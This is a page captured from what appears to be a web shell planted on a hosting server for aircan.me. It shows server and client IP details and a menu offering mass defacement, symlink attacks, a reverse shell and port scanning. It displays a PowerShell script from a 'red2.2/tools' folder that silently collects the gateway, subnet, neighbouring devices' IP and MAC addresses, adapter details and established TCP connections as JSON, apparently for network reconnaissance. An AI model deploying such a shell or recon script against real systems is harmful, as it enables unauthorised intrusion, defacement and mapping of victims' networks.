Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
red2.2
/
tools
/
Viewing: scan_network.ps1
$ErrorActionPreference = 'SilentlyContinue' $ProgressPreference = 'SilentlyContinue' # Get the primary network interface (the one with a real default gateway) # Works for Ethernet, Wi-Fi, WLAN, and any adapter name/language. $gwConfig = Get-NetIPConfiguration | Where-Object { $_.IPv4DefaultGateway -and $_.IPv4DefaultGateway.NextHop -ne '0.0.0.0' } | Select-Object -First 1 $cidrStr = '' $gwIp = '' $primaryIfIdx = $null if ($gwConfig) { $gwIp = $gwConfig.IPv4DefaultGateway.NextHop $primaryIfIdx = $gwConfig.InterfaceIndex $addr = Get-NetIPAddress -InterfaceIndex $primaryIfIdx -AddressFamily IPv4 -ErrorAction SilentlyContinue | Where-Object { $_.IPAddress -notlike '169.254.*' -and $_.IPAddress -ne '127.0.0.1' } | Select-Object -First 1 if ($addr) { $cidrStr = $addr.IPAddress + '/' + $addr.PrefixLength } } # Get neighbors (merge global + interface-specific for WiFi compatibility) $neighbors = Get-NetNeighbor -AddressFamily IPv4 | Where-Object { $_.LinkLayerAddress -ne '00-00-00-00-00-00' -and $_.LinkLayerAddress -ne '' -and $_.LinkLayerAddress -ne 'FF-FF-FF-FF-FF-FF' -and $_.IPAddress -notlike '169.254.*' -and $_.IPAddress -ne '127.0.0.1' -and $_.IPAddress -notlike '224.*' -and $_.IPAddress -notlike '239.*' -and $_.IPAddress -ne '255.255.255.255' -and $_.IPAddress -notlike '*.255' -and ($_.State -eq 'Reachable' -or $_.State -eq 'Stale' -or $_.State -eq 'Permanent' -or $_.State -eq 'Delay' -or $_.State -eq 'Probe') } if ($primaryIfIdx) { $ifNeighbors = Get-NetNeighbor -InterfaceIndex $primaryIfIdx -AddressFamily IPv4 -ErrorAction SilentlyContinue | Where-Object { $_.LinkLayerAddress -ne '00-00-00-00-00-00' -and $_.LinkLayerAddress -ne '' -and $_.LinkLayerAddress -ne 'FF-FF-FF-FF-FF-FF' -and $_.IPAddress -notlike '169.254.*' -and $_.IPAddress -ne '127.0.0.1' -and $_.IPAddress -notlike '224.*' -and $_.IPAddress -notlike '239.*' -and $_.IPAddress -ne '255.255.255.255' -and $_.IPAddress -notlike '*.255' -and ($_.State -eq 'Reachable' -or $_.State -eq 'Stale' -or $_.State -eq 'Permanent' -or $_.State -eq 'Delay' -or $_.State -eq 'Probe') } if ($ifNeighbors) { $seenIPs = @{} $merged = @() foreach ($n in $neighbors) { if (-not $seenIPs.ContainsKey($n.IPAddress)) { $merged += $n $seenIPs[$n.IPAddress] = $true } } foreach ($n in $ifNeighbors) { if (-not $seenIPs.ContainsKey($n.IPAddress)) { $merged += $n $seenIPs[$n.IPAddress] = $true } } $neighbors = $merged } } # Build device list $devs = @() foreach ($n in $neighbors) { $devs += @{ IP = $n.IPAddress; MAC = $n.LinkLayerAddress } } # Get adapter info for the primary interface $adapterInfo = $null if ($primaryIfIdx) { $adapter = Get-NetAdapter -InterfaceIndex $primaryIfIdx -ErrorAction SilentlyContinue } else { $adapter = Get-NetAdapter | Where-Object Status -eq Up | Sort-Object LinkSpeed -Descending | Select-Object -First 1 } if ($adapter) { $mediaType = 'Ethernet' if ($adapter.Name -match 'Wi-Fi|WiFi|WLAN|Wireless' -or $adapter.InterfaceDescription -match 'Wi-Fi|WiFi|Wireless|802\.11') { $mediaType = 'Wi-Fi' } $adapterInfo = @{ Name = $adapter.Name Desc = $adapter.InterfaceDescription Mac = $adapter.MacAddress Speed = $adapter.LinkSpeed MediaType = $mediaType IfIndex = $adapter.InterfaceIndex } } # Get TCP connections (with timeout protection) $tcpList = @() try { $tcpList = Get-NetTCPConnection -State Established -ErrorAction SilentlyContinue | Group-Object RemoteAddress | Select-Object Count, Name } catch {} @{ devices = $devs cidr = $cidrStr gateway = $gwIp adapter = $adapterInfo tcp = $tcpList } | ConvertTo-Json -Depth 3 -Compress
Coded With 💗 by
0x6ick